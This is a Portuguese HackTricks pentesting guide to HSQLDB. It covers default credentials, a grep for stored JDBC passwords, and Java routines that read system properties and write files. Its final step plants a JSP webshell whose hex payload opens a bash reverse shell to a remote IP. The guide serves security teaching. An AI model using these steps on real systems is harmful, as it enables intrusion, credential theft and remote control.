9001 - Pentesting HSQLDB
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithread e transacional com tabelas em memória e baseadas em disco, e suporta modos embutido e servidor.
Porta padrão: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Configurações Padrão
Note que, por padrão, este serviço provavelmente está rodando na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está buscando escalar privilégios.
As credenciais padrão geralmente são sa
com uma senha em branco.
Se você explorou outro serviço, procure por possíveis credenciais usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note o nome do banco de dados com atenção - você precisará dele para se conectar.
Coleta de Informações
Conecte-se à instância do DB baixando HSQLDB e extraindo hsqldb/lib/hsqldb.jar
. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar
e conecte-se à instância usando as credenciais descobertas/fracas.
Note que a URL de conexão terá uma aparência semelhante a esta para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Truques
Rotinas da Linguagem Java
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas da Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.
JRTs podem ser funções
ou procedimentos
. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução VALUES
.
Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a instrução CALL
.
Lendo Propriedades do Sistema Java
Crie a função:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Executar função:
VALUES(getsystemproperty('user.name'))
Você pode encontrar uma lista de propriedades do sistema aqui.
Escrever Conteúdo em Arquivo
Você pode usar o com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget Java localizado no JDK (carregado automaticamente no class path da aplicação) para escrever itens codificados em hex no disco via um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.
Criar procedimento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Executar procedimento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.